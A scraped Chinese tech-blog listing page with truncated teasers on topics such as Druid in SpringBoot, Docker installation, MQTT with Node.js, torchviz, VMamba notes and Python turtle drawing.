一、判断质数 质数也叫素数&#xff0c;是指一个大于1的自然数&#xff0c;因数只有1和它自身。质数是数论中一个经典的概念&#xff0c;很多著名定理和猜想都跟它有关;质数也是现代密码学的基础。 判断一个数是否为质数没有什么规律可言&#xff0c;我们可以通过验证小于它的…

SpringBoot集成Druid数据库连接池并配置可视化界面和监控慢SQL

pom.xml <!-- Druid 数据库连接池 --><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.2.23</version></dependency>application.yml spring:jackson:date-…

ONLYOFFICE 文档 8.1 发布:重塑文档处理

官网链接&#xff1a;ONLYOFFICE官网 一、PDF编辑器功能强大&#xff1a;创造跟随想象 在追求无界办公与高效创作的今天&#xff0c;ONLYOFFICE再次引领风潮&#xff0c;正式发布了其桌面编辑器的最新版本——ONLYOFFICE桌面编辑器8.1。这一版本不仅巩固了其作为顶级办公套件…

工业数据采集网关特别的功能之处

工业数据采集网关作为工业物联网&#xff08;IIoT&#xff09;系统的核心设备&#xff0c;承担着数据采集、传输和处理的关键任务。其特别功能不仅在于数据采集的广泛性和实时性&#xff0c;更在于其智能化、可扩展性和安全性。以下是工业数据采集网关的一些特别功能及其在工业…

VMware的具体使用

&#x1f4d1;打牌 &#xff1a; da pai ge的个人主页 &#x1f324;️个人专栏 &#xff1a; da pai ge的博客专栏 ☁️宝剑锋从磨砺出&#xff0c;梅花香自苦寒来 目录 一 &#x1f324;️VMware的安…

Nodejs使用mqtt库连接阿里云服务器

建项目 命令行输入&#xff1a; npm init 输入项目名&#xff0c;自动化生成项目列表。 6.3 编写代码 新建mqtt_demo_aliyun.js&#xff0c;代码如下&#xff1a; // mqtt_demo_aliyun.jsconst mqtt require("mqtt"); const connectUrl "ws://post-cn-nw**…

PyTorch实战:借助torchviz可视化计算图与梯度传递

文章目录 Tensor计算的可视化&#xff08;线性回归为例&#xff09; 如何使用可视化库torchviz 安装graphviz软件 安装torchviz库使用 torchviz.make_dot() 在学习Tensor时&#xff0c;将张量y用张量x表示&#xff0c;它们背后会有一个函数表达关系&#xff0c;y的 grad_f…

VMamba: Visual State Space Model论文笔记

文章目录 VMamba: Visual State Space Model摘要引言相关工作Preliminaries方法网络结构2D-Selective-Scan for Vision Data(SS2D) VMamba: Visual State Space Model 论文地址: https://arxiv.org/abs/2401.10166 代码地址: https://github.com/MzeroMiko/VMamba 摘要 卷积神…

【Docker】安装和加速

目录 1.安装 2.了解 docker 信息 3.查询状态 4. 重新启动Docker 1.安装 yum install –y docker 2.了解 docker 信息 cat /etc/redhat-release 3.查询状态 systemctl status docker 4.支持 1.12 的 docker 镜像加速 sudo mkdir -p /etc/docker sudo tee /etc/docke…

深入了解 msvcr120.dll问题解决指南,msvcr120.dll在电脑中的重要性

在Windows操作系统中&#xff0c;.dll 文件扮演了非常重要的角色&#xff0c;它们包含许多程序运行所需的代码和数据。其中 msvcr120.dll 是一个常见的动态链接库文件&#xff0c;是 Microsoft Visual C Redistributable Packages 的一部分。这篇文章将探讨 msvcr120.dll 的功能…

生命在于学习——Python人工智能原理(4.4)

三、Python的数据类型 3.2 Python的组合数据类型 特点&#xff1a;表示多个元素的组合&#xff0c;可以包含不同类型的元素&#xff0c;甚至是其他的组合数据类型。 在内存中通常需要额外的空间来存储元素间的关系。 组合数据类型能够将多个同类型或不同类型的数据组织起来&a…

python turtle 004Hello Kity

代码&#xff1a;pythonturtle004HelloKity资源-CSDN文库 # 作者V w1933423 import math import turtle as t# 设置画笔速度 t.speed(0)# 定义函数画弧 def myarc(t1, r, angle):arc_length 2 * math.pi * r * angle / 360 # 弧长n int(arc_length / 3) 1 # 分割段数step…
最新文章